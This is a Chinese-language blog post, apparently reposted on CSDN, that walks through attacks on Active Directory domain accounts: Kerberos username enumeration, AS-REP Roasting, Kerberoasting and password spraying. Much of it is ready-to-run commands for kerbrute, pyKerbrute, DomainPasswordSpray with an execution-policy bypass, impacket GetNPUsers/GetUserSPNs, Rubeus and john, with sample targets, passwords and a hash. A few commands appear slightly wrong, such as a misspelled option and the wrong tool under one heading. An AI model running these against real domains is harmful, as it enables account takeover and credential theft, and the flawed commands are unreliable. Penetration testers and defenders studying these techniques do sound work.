域账户的几种攻击方式

CSDN 自动博客文章迁移

域账户的几种攻击方式

0x01 Pre-Authentication

适用于在域外的时候,对域内的用户名进行枚举。利用Kerberos pre-auth的特性,在AS-REP中:

如果进行请求的用户存在,error-code为:ERR-PREAUTH-REQUIRED

如果请求的用户不存在,error-code为:ERR-PRINCIPAL-UNKNOWN

可利用工具:

https://github.com/ropnop/kerbrute

https://github.com/3gstudent/pyKerbrute

随后获取到有效域内用户名即可利用密码喷射拿到有效凭据开始下一步。

当然密码喷射要查看对应域的锁定策略

0x02 AS-REP Roasting

如果用户开启了“不使用Kerberos预认证”,在AS-REP阶段,可以在任意一台能访问DC的机器(域内域外均可)上请求该用户TGT,此时DC不会作校验就将TGT和Session Key返回,则可对Session Key(经过用户的RC4-HMAC密码加密)进行脱机暴力破解,进而获得hash以及密码明文。

默认情况下,这个是禁用的

遍历开启此属性

开启此属性需要有GenericWrite权限

  1. 使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用户。

  1. PowerView:

Import-Module .PowerView.ps1

Get-DomainUser -PreauthNotRequired -Verbose

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

请求票据

Import-Module .ASREPRoast.ps1

Get-ASREPHash -UserName testuser2 -Domain holy.testA | Out-File -Encoding ASCII hash.txt

impacket

python3 GetNPUsers.py pig.com/duck:test123 -dc-ip 10.0.19.0 -usersfile user.txt -format john -outputfile hash

然后可以用 HashCat去 破解

0x03 kerberoasting

由于Kerberos的工作原理,任何用户都可以请求在域内的用户或计算机帐户中具有已注册SPN(HOST或任意)的任何服务的TGS。注意只是请求此票证,而并不会授予对请求用户的访问权限,因为服务会最终确定是否应授予用户访问资源的权限。

由于这一点,并且因为请求SPN实例的TGS的一部分是用服务帐户的明文密码的NTLM哈希进行了加密,所以任何用户都可以请求这些TGS票证,然后离线破解服务帐户的明文密码,而不用担心帐户被锁定。

请求TGS

可以使用GetUserSPNs或是mimikatz请求TGS,并导出利用hashcat等进行离线破解。

如impacket内工具:

python3 GetUserSPNs.py pig.com/duck:test123 -dc-ip 10.0.19.0

想要理解原理可以抓包详细查看,所以,AS-REP Roasting、kerberoasting、Pre-Authentication 的区别是什么?

kerbrute

  • bruteuser – 从单词列表中暴力破解单个用户的密码

  • bruteforce – 从文件或标准输入中读取用户名:密码组合并测试它们

  • passwordspray – 针对用户列表测试单个密码

  • userenum – 通过 Kerberos 枚举有效的域用户名

https://github.com/ropnop/kerbrute

net accounts /domain 看看能不能喷洒,查看密码策略

然后net user krbtgt /domain 看看这个账号上次修改密码是什么时间

# 枚举域用户
./kerbrute.exe userenum --dc 192.168.11.11 --d attack.cn usernames.txt

# 爆破单用户密码
./kerbrute.exe bruteuser --dc 192.168.11.11 -d attack.cn passwords.txt administrator

# 密码喷射(一个密码和不同用户名的组合去KDC枚举)
./kerbrute.exe passwordspray --dc 192.168.11.11 -d attack.cn usernames.txt '1qaz@WSX'

# bruteforce
cat combos.lst | ./kerbrute -d attack.cn bruteforce -

pyKerbrute

# 枚举用户 <mode>: tcp or udp

EnumADUser.py <domainControlerAddr> <domainName> <mode>

python2 EnumADUser.py 192.168.11.11 attack.cn usernames.txt tcp

python2 EnumADUser.py 192.168.11.11 attack.cn usernames.txt udp

# 密码喷射 支持hash <mode>: tcp or udp

ADPwdSpray.py <domainControlerAddr> <domainName> <file> <passwordtype> <data> <mode>

# 针对明文进行喷洒

python2 ADPwdSpray.py 192.168.11.11 attack.cn usernames.txt clearpassword 1qaz@WSX tcp

# 针对哈希进行喷洒

python2 ADPwdSpray.py 192.168.11.11 attack.cn usernames.txt ntlmhash e00045bd566a1b74386f5c1e3612921b udp

DomainPasswordSpray.ps1

环境:powershell2.0(经测试在powershell4.0的版本中该脚本不能执行)

地址:https://github.com/dafthack/DomainPasswordSpray

该脚本利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒

(1)自动从域中导出用户列表

powershell -exec bypass

Import-Module .\DomainPasswordSpray.ps1

Invoke-DomainPasswordSpray -Password 密码

(2)指定用户列表,指定单个密码进行爆破

Invoke-DomainPasswordSpray -Userlist users.txt -Domain attack.cn -password 1qaz@WSX

(3)指定用户、密码列表进行爆破,输出到特定文件中

依次使用密码对账号进行匹配,简称喷洒

Invoke-DomainPasswordSpray -Userlist users.txt -Domain attack.cn -PasswordList pass.txt

AS-REP Roasting收割门票信息

在枚举完有效用户后下一步我们就开始精挑细选其中的账号使用AS-REP Roasting攻击获取具体的门票上的密码信息。AS-REP Roasting,是由于某些域内用户可能开启了不使用Kerberos预验证功能。

可以这样理解,你和老王长的很像,某天你去他公司,楼下保安见你长得像老王,外加平时老王跟保安的关系很不错。看了你一眼不会把你当成陌生人拦下来问各种问题验证是否为来客。此时你可以去到老王的办公座位随意找信息,说不定能找到一些密码信息出来。

这里会用到kali下的/usr/share/doc/python3-impacket/examples/GetNPUsers.py工具去收割门票上的密码信息。通过不断替换用户,最后admin2和user3启用了不使用kerberos预验证功能。顺便获得他们的hash,可解密。

命令:

# 枚举所有域用户(或者指定)Roasting AS-REPs

Rubeus.exe asreproast

python3 GetNPUsers.py attack.cn/zhang -no-pass

python3 GetNPUsers.py attack.cn/zhang -no-pass -dc-ip 192.168.11.11

python3 impacket/example/GetUserSPNs.py attack.cn/ -no-pass -dc-ip 192.168.11.11 -userfile users.txt /fomat:hashcat

最后用john搭载一个密码本解密成功,成功得到zhang的账号密码,密码本字典链接

john --wordlist=pass.txt 1.txt

Kerberoasting二次收割门票信息

Rubeus

.\Rubeus.exe kerberoast

impacket

python3 impacket/example/GetNPUsers.py attack.cn/attackadmin:123.com -dc-ip 192.168.11.11

转载请注明:Adminxe's Blog » 域账户的几种攻击方式

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值